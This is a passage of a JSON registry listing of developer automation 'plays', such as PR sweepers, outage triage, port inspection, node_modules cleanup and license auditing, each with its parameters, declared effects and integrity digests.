playbook","owner":{"kind":"user","slug":"sadiqqx"},"registry_organization":"sadiqqx","tags":["typescript","pr-risk"],"primary_domain":"domain-uncategorized","author":"sadiqqx","version":"0.1.0","published_at":"2026-09-06T14:04:48.099203+00:00","visibility":"public","quality_score":0.875,"size_bytes":5332,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5e21534244173aea4373183cb0f3bb427b180e4a4f9d768dcb68ee4ac3e41989","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/askme-org/revenue-leak-detector@0.1.1","reference":"askme-org/revenue-leak-detector@0.1.1","uri":"https://play.modiqo.ai/askme-org/revenue-leak-detector@0.1.1","manifest_uri":"https://play.modiqo.ai/askme-org/revenue-leak-detector@0.1.1","name":"revenue-leak-detector","title":"revenue-leak-detector","description":"Audits a website for performance issues, calculates revenue loss, generates an AI fix strategy, and sends a dashboard to Slack/Telegram.","owner":{"kind":"org","slug":"askme-org"},"registry_organization":"askme-org","tags":[],"primary_domain":"domain-uncategorized","author":"askme-org","version":"0.1.1","published_at":"2026-09-06T14:00:40.917669+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6252,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"url_or_path","type":"string","required":true,"description":"URL or directory to scan"},{"name":"visitors","type":"string","required":false,"default":"10000","description":"Monthly visitors"},{"name":"order_value","type":"string","required":false,"default":"50","description":"Average order value"},{"name":"api_key","type":"string","required":false,"default":"","description":"OpenAI API Key for Foglamp Strategy"},{"name":"slack_webhook","type":"string","required":false,"default":"","description":"Slack Webhook URL to send the dashboard link to"},{"name":"telegram_bot_token","type":"string","required":false,"default":"","description":"Telegram Bot Token"},{"name":"telegram_chat_id","type":"string","required":false,"default":"","description":"Telegram Chat ID"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8d091d6ed3f77c57e2070ca7482f573e971c70b5ac26bbc849e760e72d418bb7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/askme-org/pr-purgatory-sweeper@0.1.1","reference":"askme-org/pr-purgatory-sweeper@0.1.1","uri":"https://play.modiqo.ai/askme-org/pr-purgatory-sweeper@0.1.1","manifest_uri":"https://play.modiqo.ai/askme-org/pr-purgatory-sweeper@0.1.1","name":"pr-purgatory-sweeper","title":"pr-purgatory-sweeper","description":"Cross-system daily scanner: finds stuck PRs, uses AI to summarize the blast radius, and posts a targeted Slack/Telegram digest.","owner":{"kind":"org","slug":"askme-org"},"registry_organization":"askme-org","tags":[],"primary_domain":"domain-uncategorized","author":"askme-org","version":"0.1.1","published_at":"2026-09-06T14:00:07.219601+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3826,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"repo","type":"string","required":true,"description":"GitHub repository (e.g. 'owner/repo')"},{"name":"days_stale","type":"string","required":false,"default":"2","description":"Number of days before a PR is considered stuck"},{"name":"github_token","type":"string","required":false,"default":"","description":"Optional GitHub token (or sets GITHUB_TOKEN)"},{"name":"api_key","type":"string","required":false,"default":"","description":"OpenAI API Key for LLM summarization"},{"name":"slack_webhook","type":"string","required":false,"default":"","description":"Optional Slack webhook URL for daily broadcast"},{"name":"telegram_token","type":"string","required":false,"default":"","description":"Optional Telegram bot token"},{"name":"telegram_chat_id","type":"string","required":false,"default":"","description":"Optional Telegram chat ID"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5c8c65bb84c02e7adeadc6196f683a8c15a875974f708da757dc65f87fb204cd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/askme-org/oncall-outage-copilot@0.1.1","reference":"askme-org/oncall-outage-copilot@0.1.1","uri":"https://play.modiqo.ai/askme-org/oncall-outage-copilot@0.1.1","manifest_uri":"https://play.modiqo.ai/askme-org/oncall-outage-copilot@0.1.1","name":"oncall-outage-copilot","title":"oncall-outage-copilot","description":"When an outage hits, this Play fetches the latest Sentry/PagerDuty alerts, matches them with the last 5 GitHub PRs, and asks an LLM to find the culprit.","owner":{"kind":"org","slug":"askme-org"},"registry_organization":"askme-org","tags":[],"primary_domain":"domain-uncategorized","author":"askme-org","version":"0.1.1","published_at":"2026-09-06T13:58:35.756542+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4070,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"repo","type":"string","required":true,"description":"GitHub repository (e.g. 'owner/repo')"},{"name":"github_token","type":"string","required":false,"default":"","description":"Optional GitHub token (or sets GITHUB_TOKEN)"},{"name":"api_key","type":"string","required":false,"default":"","description":"OpenAI API Key for LLM summarization"},{"name":"sentry_token","type":"string","required":false,"default":"","description":"Sentry API token for fetching issues"},{"name":"sentry_org","type":"string","required":false,"default":"","description":"Sentry Organization slug"},{"name":"sentry_project","type":"string","required":false,"default":"","description":"Sentry Project slug"},{"name":"slack_webhook","type":"string","required":false,"default":"","description":"Optional Slack webhook URL for alerts"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:06445dc56201f67921048a5074041a7591758013ab99fcc11341a89f921c52a5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/mostlybuilding/invisible-side-effect-census@0.1.0","reference":"mostlybuilding/invisible-side-effect-census@0.1.0","uri":"https://play.modiqo.ai/mostlybuilding/invisible-side-effect-census@0.1.0","manifest_uri":"https://play.modiqo.ai/mostlybuilding/invisible-side-effect-census@0.1.0","name":"invisible-side-effect-census","title":"invisible-side-effect-census","description":"Snapshot or diff Git, listeners, processes, and lockfiles to reveal undisclosed side effects (observe only).","owner":{"kind":"user","slug":"mostlybuilding"},"registry_organization":"mostlybuilding","tags":["side-effect","snapshot","git","process","audit"],"primary_domain":"domain-uncategorized","author":"Sbalaramaraju2000","version":"0.1.0","published_at":"2026-09-06T12:16:59.442372+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":6352,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["census_side_effects"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Project root to observe"},{"name":"mode","type":"string","required":false,"default":"snapshot","description":"snapshot writes a baseline; diff compares --before to live or --after"},{"name":"store","type":"string","required":false,"default":"receipts/side-effect-snapshot.json","description":"Snapshot output path when mode=snapshot"},{"name":"before","type":"string","required":false,"default":"","description":"Before snapshot JSON (required when mode=diff)"},{"name":"after","type":"string","required":false,"default":"","description":"Optional after snapshot JSON; empty means live snapshot"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5ee007e62118fa868c3c43f6dee1f24aff826fccaf7c7ef527876abebd9adcba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mostlybuilding/instruction-collision-map@0.1.0","reference":"mostlybuilding/instruction-collision-map@0.1.0","uri":"https://play.modiqo.ai/mostlybuilding/instruction-collision-map@0.1.0","manifest_uri":"https://play.modiqo.ai/mostlybuilding/instruction-collision-map@0.1.0","name":"instruction-collision-map","title":"instruction-collision-map","description":"Map AGENTS.md / Cursor rules / Copilot instructions for a task path and flag MUST/NEVER collisions (read-only).","owner":{"kind":"user","slug":"mostlybuilding"},"registry_organization":"mostlybuilding","tags":["agents","instructions","collision","cursor","rules"],"primary_domain":"domain-uncategorized","author":"Sbalaramaraju2000","version":"0.1.0","published_at":"2026-09-06T12:16:58.03062+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":6158,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["map_collisions"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository or workspace root","example":"."},{"name":"task_path","type":"string","required":false,"default":".","description":"Path where work would start (nearest instructions win)","example":"./src"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d1bc281b10ce8b4d3587fe9faed7a9a0151fac7346accb04dd0ad0d9f41af64f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mostlybuilding/stale-skill-versus-live-cli@0.1.0","reference":"mostlybuilding/stale-skill-versus-live-cli@0.1.0","uri":"https://play.modiqo.ai/mostlybuilding/stale-skill-versus-live-cli@0.1.0","manifest_uri":"https://play.modiqo.ai/mostlybuilding/stale-skill-versus-live-cli@0.1.0","name":"stale-skill-versus-live-cli","title":"stale-skill-versus-live-cli","description":"Audit agent skill commands against installed CLI help and flag stale or missing binaries (help/dry-run only).","owner":{"kind":"user","slug":"mostlybuilding"},"registry_organization":"mostlybuilding","tags":["skill","cli","stale","agent","audit"],"primary_domain":"domain-uncategorized","author":"Sbalaramaraju2000","version":"0.1.0","published_at":"2026-09-06T12:16:56.659531+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":6705,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["audit_skills"]},"parameters":[{"name":"skills_root","type":"string","required":false,"default":"~/.cursor/skills","description":"Directory to scan for skill / instruction markdown","example":"~/.cursor/skills/play"},{"name":"max_commands","type":"string","required":false,"default":"40","description":"Maximum embedded commands to check"},{"name":"max_files","type":"string","required":false,"default":"80","description":"Maximum skill files to scan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b1c608c768e28e341aee2e612474ead6794df8a7badaf722d6b2f0831c3217bf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mostlybuilding/play-publish-readiness-receipt@0.1.0","reference":"mostlybuilding/play-publish-readiness-receipt@0.1.0","uri":"https://play.modiqo.ai/mostlybuilding/play-publish-readiness-receipt@0.1.0","manifest_uri":"https://play.modiqo.ai/mostlybuilding/play-publish-readiness-receipt@0.1.0","name":"play-publish-readiness-receipt","title":"play-publish-readiness-receipt","description":"Produce a go/no-go publish readiness receipt for a local Play before Community push (lint, validate, deps, handle, dry-run).","owner":{"kind":"user","slug":"mostlybuilding"},"registry_organization":"mostlybuilding","tags":["play","publish","readiness","lint","community"],"primary_domain":"domain-uncategorized","author":"Sbalaramaraju2000","version":"0.1.0","published_at":"2026-09-06T12:07:27.677364+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":10638,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["assess_publish_readiness"]},"parameters":[{"name":"play","type":"string","required":true,"description":"Local play name under ~/.rote/flows, or path to main.ts / package directory","example":"local-port-occupancy-receipt"},{"name":"owner","type":"string","required":false,"default":"","description":"Target namespace (defaults to claimed profile handle when empty)","example":"mostlybuilding"},{"name":"visibility","type":"string","required":false,"default":"public","description":"Intended publication visibility"},{"name":"skip_dry_run","type":"string","required":false,"default":"false","description":"If true, skip registry push --dry-run (local checks only)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8f35caa41ba4deea194c26d924f85ae392691543360db19b2dc99ea5c41b59e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nehars-rs/post-meeting-execution@0.1.0","reference":"nehars-rs/post-meeting-execution@0.1.0","uri":"https://play.modiqo.ai/nehars-rs/post-meeting-execution@0.1.0","manifest_uri":"https://play.modiqo.ai/nehars-rs/post-meeting-execution@0.1.0","name":"post-meeting-execution","title":"post-meeting-execution","description":"Extracts confirmed decisions, action items, owners, deadlines, ambiguous/unassigned tasks, dependencies, blockers and open questions from a meeting transcript, drafts a ready-to-send follow-up message, and diffs against a previous meeting when one is supplied.","owner":{"kind":"org","slug":"nehars-rs"},"registry_organization":"nehars-rs","tags":["meetings","productivity","follow-up","claude"],"primary_domain":"domain-uncategorized","author":"Nehars Rs","version":"0.1.0","published_at":"2026-09-06T11:55:10.980257+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5687,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"transcript_file","type":"string","required":true,"description":"Path to a plain-text file containing the current meeting's transcript"},{"name":"previous_transcript_file","type":"string","required":false,"default":"","description":"Path to a plain-text file containing the previous related meeting's transcript, to diff against. Leave unset for a first or standalone meeting."},{"name":"model","type":"string","required":false,"default":"claude-sonnet-4-5","description":"Claude model id used for the transcript analysis"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ab474714532a432984fecfadd19cae94e3f03c108737ed33ad7228fe1ddb406","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mostlybuilding/local-port-occupancy-receipt@0.1.0","reference":"mostlybuilding/local-port-occupancy-receipt@0.1.0","uri":"https://play.modiqo.ai/mostlybuilding/local-port-occupancy-receipt@0.1.0","manifest_uri":"https://play.modiqo.ai/mostlybuilding/local-port-occupancy-receipt@0.1.0","name":"local-port-occupancy-receipt","title":"local-port-occupancy-receipt","description":"List local listening ports with owning processes and optionally free a chosen port with a before-after receipt.","owner":{"kind":"user","slug":"mostlybuilding"},"registry_organization":"mostlybuilding","tags":["ports","process","localhost","receipt"],"primary_domain":"domain-uncategorized","author":"Sbalaramaraju2000","version":"0.1.0","published_at":"2026-09-06T11:38:22.738877+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":8193,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["inspect_listeners","free_confirmed_port"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"inspect","description":"inspect is read-only; free signals only confirmed PIDs that still own the port"},{"name":"ports","type":"string","required":false,"default":"","description":"Comma-separated ports. Empty in inspect lists interesting high ports.","example":"3000,5173"},{"name":"confirm_pids","type":"string","required":false,"default":"","description":"Comma-separated PIDs allowed to signal in free mode (required when mode=free)","example":"12345"},{"name":"include_cmdline","type":"string","required":false,"default":"true","description":"Include /proc cmdline in the receipt (true|false)"},{"name":"term_wait","type":"string","required":false,"default":"1.0","description":"Seconds to wait after SIGTERM before SIGKILL","example":"1.0"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3efa295c7221711634f4d146cd8d896536d37240d1fac565733eafd7d2455a0f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/node-modules-cleaner@0.2.0","reference":"dezloper/node-modules-cleaner@0.2.0","uri":"https://play.modiqo.ai/dezloper/node-modules-cleaner@0.2.0","manifest_uri":"https://play.modiqo.ai/dezloper/node-modules-cleaner@0.2.0","name":"node-modules-cleaner","title":"node-modules-cleaner","description":"Frees disk space by deleting the node_modules of projects you have not touched in a while. It walks a folder of projects, and for each one measures how many days since you last edited a source file (ignoring node_modules and build output) and how big its node_modules is. By default it only shows you the list: every project whose node_modules it would delete, with the size and how long it has been idle, plus the total space it would reclaim. It deletes nothing until you run it again with apply=true. Even then it is careful: it skips any project with uncommitted git changes so it never removes node_modules from work in progress, it only ever removes a directory literally named node_modules, and it leaves your source untouched (npm install regenerates node_modules any time). Set stale_days to change the idle threshold and min_size_mb to ignore trivially small ones. This performs a write when apply=true: it permanently deletes the listed node_modules directories.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-write","job-disk-cleanup","tool-node"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.2.0","published_at":"2026-09-06T10:58:02.682533+00:00","visibility":"public","quality_score":1,"size_bytes":8391,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["reap","scan","validate_input"]},"parameters":[{"name":"base_dir","type":"string","required":false,"default":".","description":"The folder that holds your projects. Defaults to the folder you run it from.","example":"~/Desktop"},{"name":"stale_days","type":"string","required":false,"default":"5","description":"Delete node_modules only for projects idle at least this many days.","example":"5"},{"name":"apply","type":"string","required":false,"default":"false","description":"false shows the list without deleting. true actually deletes the listed node_modules. This is a fixed true/false choice -- when asking the user, present it as a selectable option, never as a free-text question.","values":["false","true"],"example":"false"},{"name":"min_size_mb","type":"string","required":false,"default":"1","description":"Ignore node_modules smaller than this many megabytes.","example":"50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c4af39e203c033969b489bb42e8d5242a08fd955dd7762c79a74aae89cb9a4e8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/viswesh/can-i-copy-that@0.1.0","reference":"viswesh/can-i-copy-that@0.1.0","uri":"https://play.modiqo.ai/viswesh/can-i-copy-that@0.1.0","manifest_uri":"https://play.modiqo.ai/viswesh/can-i-copy-that@0.1.0","name":"can-i-copy-that","title":"can-i-copy-that","description":"Developer code and license reuse auditor. Answers the question: \"Can I take this thing and put it in my project?\" Checks GitHub repos, Stack Overflow answers, SPDX headers, or pasted code to provide clear verdicts (YES / YES WITH CONDITIONS / NO / UNCLEAR), permissions, requirements, and copyleft risks. Zero configuration, zero external dependencies; needs only python3 and sh.","owner":{"kind":"user","slug":"viswesh"},"registry_organization":"viswesh","tags":["typescript","license","legal","compliance","open-source","github","copyright"],"primary_domain":"domain-uncategorized","author":"sigireddyviswesh","version":"0.1.0","published_at":"2026-09-06T10:06:14.507342+00:00","visibility":"public","quality_score":1,"size_bytes":8370,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["audit_step"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"GitHub URL, Stack Overflow link, package name, or pasted code snippet","example":"https://github.com/expressjs/express"},{"name":"content","type":"string","required":false,"default":"","description":"Raw code snippet or license text","example":"SPDX-License-Identifier: MIT"},{"name":"out_report","type":"string","required":false,"default":"./cic-report.json","description":"Path where structured JSON audit report will be written","example":"./cic-report.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bbd96aa95d4d3b37dba8968f5fb1a7199567f89a417a187925e1a35048b64877","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/github-release-asset-download-plan@0.1.1","reference":"himanshu-jha/github-release-asset-download-plan@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/github-release-asset-download-plan@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/github-release-asset-download-plan@0.1.1","name":"github-release-asset-download-plan","title":"github-release-asset-download-plan","description":"Choose which files to download from a public GitHub release before touching a binary. Read the repository and explicit release tag, capture the first asset page, then validate each captured asset in a four-wide fan-out. Compare filenames, sizes, upload states, URLs and provider digests with the release inventory. Write a local download plan, checksum expectations and review checklist with verified output hashes. Missing digests, changed or bounded inventories and empty selections remain REVIEW. No files are downloaded or executed.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["github","release-assets","download-review","effect-local-write","fan-out","typescript"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T09:30:19.419618+00:00","visibility":"public","quality_score":1,"size_bytes":18175,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":11,"names":["auth_github","read_release","verify_packet","validate_asset","read_asset_page","read_repository","validate_request","pin_source_evidence","reconcile_inventory","write_download_review","verify_public_repository"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"Public GitHub repository owner."},{"name":"repo","type":"string","required":true,"description":"Public repository name; verified provider casing is used."},{"name":"release_tag","type":"string","required":true,"description":"Explicit published release tag. Draft releases are refused."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory with an existing trusted parent."},{"name":"asset_limit","type":"string","required":false,"default":"30","description":"First asset-page size, 1 through 30. Page is fixed to 1; reaching the bound remains incomplete."},{"name":"name_contains","type":"string","required":false,"default":"","description":"Optional case-insensitive literal filename substring. Empty selects every captured asset; this does not detect platform compatibility."}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:628e66e8a102ddecbdb1b1d4997f16098cc8c56844f55a82c25b81e768a73c73","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":3,"shell":7,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":10,"width":2,"fan_out":4,"for_each_steps":1,"complexity":22,"apis":[{"adapter":"github","steps":4,"methods":["repos/get","repos/get-release-by-tag","repos/list-release-assets"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":72827,"context_tokens":18752,"exploration_ms":5798,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/github-issue-reproduction-packet@0.1.1","reference":"himanshu-jha/github-issue-reproduction-packet@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/github-issue-reproduction-packet@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/github-issue-reproduction-packet@0.1.1","name":"github-issue-reproduction-packet","title":"github-issue-reproduction-packet","description":"Prepare a reproduction handoff from one public GitHub issue without running its commands. Read repository identity first, then fetch the issue and first comment page in parallel. The local packet quotes recognized reproduction, expected, actual and environment sections; missing or repeated headings stay NOT_FOUND or AMBIGUOUS. It records captured versus reported comments, preserves bounded source evidence and writes a checklist with a verified hash receipt. Nothing is reproduced, posted or changed on GitHub.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["github","issue-handoff","reproduction-checklist","effect-local-write","typescript"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T09:29:41.403094+00:00","visibility":"public","quality_score":1,"size_bytes":16985,"license":"MIT","stats":{"downloads":0,"installs":0},"steps":{"count":10,"names":["read_issue","auth_github","read_comments","verify_packet","write_handoff","read_repository","validate_request","pin_source_evidence","verify_public_repository","build_reproduction_checklist"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"Public GitHub repository owner."},{"name":"repo","type":"string","required":true,"description":"Public repository name; redirects to a renamed repository require an explicit new request."},{"name":"issue_number","type":"string","required":true,"description":"Positive GitHub issue number. Pull requests are refused."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW local output directory with an existing trusted parent."},{"name":"comment_limit","type":"string","required":false,"default":"2","description":"First 